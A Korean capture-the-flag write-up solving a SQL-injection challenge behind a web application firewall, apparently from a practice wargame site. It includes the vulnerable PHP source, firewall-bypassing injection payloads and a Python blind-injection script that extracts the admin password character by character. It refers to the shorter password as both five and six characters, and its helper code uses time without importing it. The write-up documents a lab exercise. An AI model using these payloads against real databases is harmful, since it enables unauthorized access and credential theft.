문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : prob, _, ., () 필터링
  • pw : prob, _, ., () 필터링, addslashes 함수

코드 설명

$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";

공격 백터가 필터링을 통과 후 쿼리문에 삽입된다.
쿼리문은 id='공격 백터 id' and pw='공격 백터 pw'인 테이블에 저장된 id을 반환하는 쿼리문이다.
만약 쿼리문의 반환값이 있다면 Hello admin이 출력된다. 즉, 테이블에 admin만 저장되어 있는 것으로 판단된다.

 

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");

첫번째 쿼리문이 실행된 후 공격 백터 pw가 addslashes 함수에 들어가게 된다. 이는 쿼리문에 사용되는 특수문자를 사용 못하게 치환하게 된다.
그러므로 두번째 쿼리문에선 pw을 이용하여 SQLI이 힘들어 보인다.

 

두번째 쿼리문은 id='admin' and pw='공격 백터 pw'인 테이블에 저장된 pw을 반환한다.
만약 쿼리문 반환 값이 있고, 반환 값과 공격 백터 pw가 같으면 문제는 클리어하게 된다.


문제 풀이


쿼리문에 들어가는 SQLi은 전에 풀었던 문제가 있어서 쉽게 풀 수 있다.
하지만 웹 방화벽 룰셋이 걸려져 있을 것이라 생각된다.

 

그래서 나는 확인을 위해서 ' or 1=1#을 id로 보내보기로 하였다.
역시나 룰셋이 걸어져 있었다.

 


나는 곧바로 룰셋을 우회할 수 있는 SQLi 쿼리문을 삽입하여 첫번째 쿼리문이 admin을 반환받게 하였다.
이제 admin의 pw을 알아야한다. 나는 {a 1}=11=1과 같다는 것을 이용하여 {a length(pw)}=X로 활용하여 공격을 시도하였다.

 

?id='<@=1 or {a length(id)}=4#
?id='<@=1 or {a length(id)}=5#

내가 생각한 쿼리문이 작동이 잘 되는 일단 테스트했는데, 아주 잘 되는 것을 알 수 있었다.

 

?id='<@=1 or {a length(pw)}=5#

몇 번의 시도 끝에 admin의 pw 길이를 구할 수 있었다.

 

혹시나 다른 pw도 있을 수도 있다고 생각이 들어서 확인을 하였다.
역시… 다른 pw도 있었다.

 

확인해보니 길이가 8이였다.
혹시 더 있을까봐 확인을 해보니 더는 없었다.

 

일단 5글자와 8글자의 admin의 pw을 파이썬으로 파싱하겠다.

 

그리고 파이썬으로 하기 전에 그냥 length 함수와 substr 함수를 써보니, 이는 차단되지 않았다.
그래서 위에 나온 쿼리문보다 간단하게 정의하였다.

 

import requests, string, SQLI

class Godzilla(SQLI.SQLI):
    def pw_parsing(self, query:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text

if __name__ == '__main__':
    url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
    cookie = 'cvh1ibd5segtqjukbh4bfkovtf'
    sqli = Godzilla(url, cookie)

    pw = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            query = f"?id='<@=1 or length(pw)=8 and substr(pw,{num},1)='{s}'%23"
            result = sqli.pw_parsing(query)

            if 'Hello admin' in result:
                print(f'{num}번 pw >>> {s}')
                pw += s

    print(pw)

6글자는 알파벳 소문자, 숫자, 특수문자에 전혀 일치하는 것이 없어서 바로 포기하고 8글자를 바로 파싱하였다.

 

다행히 8글자가 문제의 답이였다.

참고

SQLI.py

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text, time.time()-start

 

복사했습니다!